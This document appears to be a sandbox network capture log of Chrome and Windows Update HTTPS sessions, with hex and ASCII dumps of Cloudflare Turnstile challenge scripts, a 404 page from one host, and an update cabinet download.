2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 Data Ascii: sName="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49732	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:44 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878a247c655e79&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:45 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:45 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 112506 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e878a2ef99d4238-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:39:45 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 Data Ascii: 0browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-supp
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 65 52 2c 65 53 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 39 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 34 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 32 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 34 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 38 30 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 31 37 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 37 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,eR,eS){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1279))/1(parseInt(gI(1474))/2)+parseInt(gI(1172))/3+-parseInt(gI(1174))/4+-parseInt(gI(280))/5+-parseInt(gI(517))/6(parseInt(gI(1457))/7)+parseInt(g
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 69 32 28 37 36 33 29 5d 28 6e 65 77 20 67 5b 28 69 32 28 31 32 37 35 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 69 33 2c 48 29 7b 66 6f 72 28 69 33 3d 69 32 2c 47 5b 69 33 28 35 33 32 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 69 33 28 34 36 30 29 5d 3b 6f 5b 69 33 28 31 32 39 36 29 5d 28 47 5b 48 5d 2c 47 5b 6f 5b 69 33 28 31 34 39 33 29 5d 28 48 2c 31 29 5d 29 3f 47 5b 69 33 28 31 34 39 36 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 32 28 37 32 34 29 5d 5b 69 32 28 37 35 30 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 69 32 28 34 36 30 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 69 32 28 31 33 35 38 29 5d 28 66 78 2c 67 2c Data Ascii: i2(763)](new g[(i2(1275))](x)):function(G,i3,H){for(i3=i2,G[i3(532)](),H=0;H<G[i3(460)];o[i3(1296)](G[H],G[o[i3(1493)](H,1)])?G[i3(1496)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[i2(724)][i2(750)](B),C=0;C<x[i2(460)];D=x[C],E=o[i2(1358)](fx,g,
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 69 36 28 31 36 34 38 29 5d 28 53 74 72 69 6e 67 5b 69 36 28 32 39 36 29 5d 28 66 5b 69 36 28 38 37 39 29 5d 28 66 5b 69 36 28 35 39 33 29 5d 28 66 5b 69 36 28 31 31 34 37 29 5d 28 6b 2c 32 35 35 29 2c 68 29 2d 67 25 36 35 35 33 35 2c 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 69 5b 69 36 28 36 35 37 29 5d 28 27 27 29 7d 2c 66 43 3d 66 75 6e 63 74 69 6f 6e 28 69 38 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 38 3d 67 4a 2c 64 3d 7b 27 6d 5a 73 70 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 28 29 7d 2c 27 58 54 66 46 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4b 61 66 66 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c Data Ascii: i6(1648)](String[i6(296)](f[i6(879)](f[i6(593)](f[i6(1147)](k,255),h)-g%65535,65535)%255)));return i[i6(657)]('')},fC=function(i8,d,e,f,g){return i8=gJ,d={'mZspz':function(h){return h()},'XTfFD':function(h,i){return h<i},'KaffB':function(h,i){return h+i},
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 6e 20 68 28 69 29 7d 2c 27 51 7a 47 70 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 69 6f 44 4e 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6f 51 68 45 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 41 72 75 61 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 73 75 5a 42 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 38 28 32 39 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 69 Data Ascii: n h(i)},'QzGpB':function(h,i){return ih},'ioDNh':function(h,i){return h<i},'oQhET':function(h,i){return i!=h},'Aruai':function(h,i){return h&i},'suZBM':function(h,i){return hi}},e=String[i8(296)],f={'h':function(h){return h==null?'':f.g(h,6,function(i,i
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 69 61 28 31 34 38 31 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 64 5b 69 61 28 31 33 33 35 29 5d 28 53 74 72 69 6e 67 2c 4b 29 29 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 47 28 29 2c 6a 28 29 2c 64 5b 69 61 28 31 31 34 31 29 5d 28 43 29 2c 21 21 5b 5d 3b 69 66 28 43 21 3d 3d 27 27 29 7b 69 66 28 4f 62 6a 65 63 74 5b 69 61 28 31 34 30 38 29 5d 5b 69 61 28 39 35 36 29 5d 5b 69 61 28 31 36 30 34 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 69 61 28 36 34 37 29 5d 28 69 61 28 31 31 33 35 29 2c 69 61 28 31 36 33 31 29 29 29 7b 69 66 28 64 5b 69 61 28 31 32 39 34 29 5d 28 32 35 36 2c 43 5b 69 61 28 Data Ascii: ](o,H)),H=0):I++,M>>=1,s++);C=(D--,D==0&&(D=Math[ia(1481)](2,F),F++),x[L]=E++,d[ia(1335)](String,K))}else return G(),j(),d[ia(1141)](C),!![];if(C!==''){if(Object[ia(1408)][ia(956)][ia(1604)](B,C)){if(d[ia(647)](ia(1135),ia(1631))){if(d[ia(1294)](256,C[ia(
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 32 2c 32 29 2c 46 3d 31 3b 64 5b 69 64 28 31 35 35 30 29 5d 28 46 2c 4b 29 3b 29 69 66 28 64 5b 69 64 28 36 34 37 29 5d 28 64 5b 69 64 28 31 33 33 37 29 5d 2c 69 64 28 37 35 38 29 29 29 51 3d 47 5b 69 64 28 39 34 31 29 5d 28 6a 5b 69 64 28 31 36 37 39 29 5d 29 2c 51 5b 69 64 28 36 34 30 29 5d 26 26 28 69 3d 51 5b 69 64 28 36 34 30 29 5d 29 3b 65 6c 73 65 20 66 6f 72 28 4c 3d 69 64 28 37 34 39 29 5b 69 64 28 31 34 36 35 29 5d 28 27 7c 27 29 2c 4d 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4c 5b 4d 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 64 5b 69 64 28 31 35 31 32 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 4e 3d 64 5b 69 64 28 31 33 35 39 29 5d 28 47 2c 48 29 3b 63 6f 6e Data Ascii: 2,2),F=1;d[id(1550)](F,K);)if(d[id(647)](d[id(1337)],id(758)))Q=G[id(941)](j[id(1679)]),Q[id(640)]&&(i=Q[id(640)]);else for(L=id(749)[id(1465)]('\|'),M=0;!![];){switch(L[M++]){case'0':d[id(1512)](0,H)&&(H=j,G=o(I++));continue;case'1':N=d[id(1359)](G,H);con
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 2b 5d 3d 64 5b 69 64 28 31 36 38 33 29 5d 28 45 2c 4f 5b 69 64 28 38 35 30 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4f 2c 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 69 64 28 31 34 38 31 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 69 38 28 38 33 32 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4a 28 36 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 65 2c 64 2c 65 2c 66 2c 67 29 7b 69 65 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 69 65 28 31 31 30 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 64 5b 69 65 28 31 31 33 36 29 5d 3d 69 65 28 31 34 31 36 29 2c 64 5b 69 65 28 39 36 36 29 5d 3d 69 65 28 31 35 36 35 29 2c 64 5b 69 65 28 31 32 31 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 Data Ascii: +]=d[id(1683)](E,O[id(850)](0)),x--,E=O,x==0&&(x=Math[id(1481)](2,C),C++)}}},g={},g[i8(832)]=f.h,g}(),eM[gJ(679)]=function(ie,d,e,f,g){ie=gJ,d={},d[ie(1101)]=function(h,i){return h===i},d[ie(1136)]=ie(1416),d[ie(966)]=ie(1565),d[ie(1216)]=function(h,i){re
2024-11-26 05:39:45 UTC	1369	IN	Data Raw: 35 35 31 29 29 2c 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 33 34 30 29 5d 29 2c 27 2f 27 29 2b 65 4d 5b 69 68 28 31 31 31 31 29 5d 2e 63 48 2b 27 2f 27 2c 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 33 32 38 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 69 68 28 36 34 31 29 5d 3d 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 36 34 31 29 5d 2c 73 5b 69 68 28 31 34 37 37 29 5d 3d 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 31 34 37 37 29 5d 2c 73 5b 69 68 28 36 39 38 29 5d 3d 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 36 39 38 29 5d 2c 73 5b 69 68 28 31 30 39 31 29 5d 3d 65 4d 5b 69 68 28 31 31 31 31 29 5d 5b 69 68 28 31 36 36 37 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 69 68 28 39 39 33 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 Data Ascii: 551)),eM[ih(1111)][ih(340)]),'/')+eM[ih(1111)].cH+'/',eM[ih(1111)][ih(328)]),s={},s[ih(641)]=eM[ih(1111)][ih(641)],s[ih(1477)]=eM[ih(1111)][ih(1477)],s[ih(698)]=eM[ih(1111)][ih(698)],s[ih(1091)]=eM[ih(1111)][ih(1667)],x=s,B=new eM[(ih(993))](),!B)return;C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49733	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:45 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:45 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:45 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e878a308be6efa1-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:39:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49734	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:46 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:47 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:47 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e878a3b2f0d3338-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:39:47 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49735	65.21.29.43	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:47 UTC	600	OUT	GET /favicon.ico HTTP/1.1 Host: uotdoc.bestdealspk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:47 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Tue, 26 Nov 2024 05:39:47 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-26 05:39:47 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-11-26 05:39:47 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49736	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:00 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CB9LVFyUkzz298c&MD=CatG+hex HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 05:40:01 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 30f11b97-3a42-4f77-908e-a310c88bec85 MS-RequestId: 8d2db57c-bdbc-4c80-9e11-7b7b952adc84 MS-CV: L+3oLelWRkiFI35J.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 05:40:00 GMT Connection: close Content-Length: 30005
2024-11-26 05:40:01 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-26 05:40:01 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 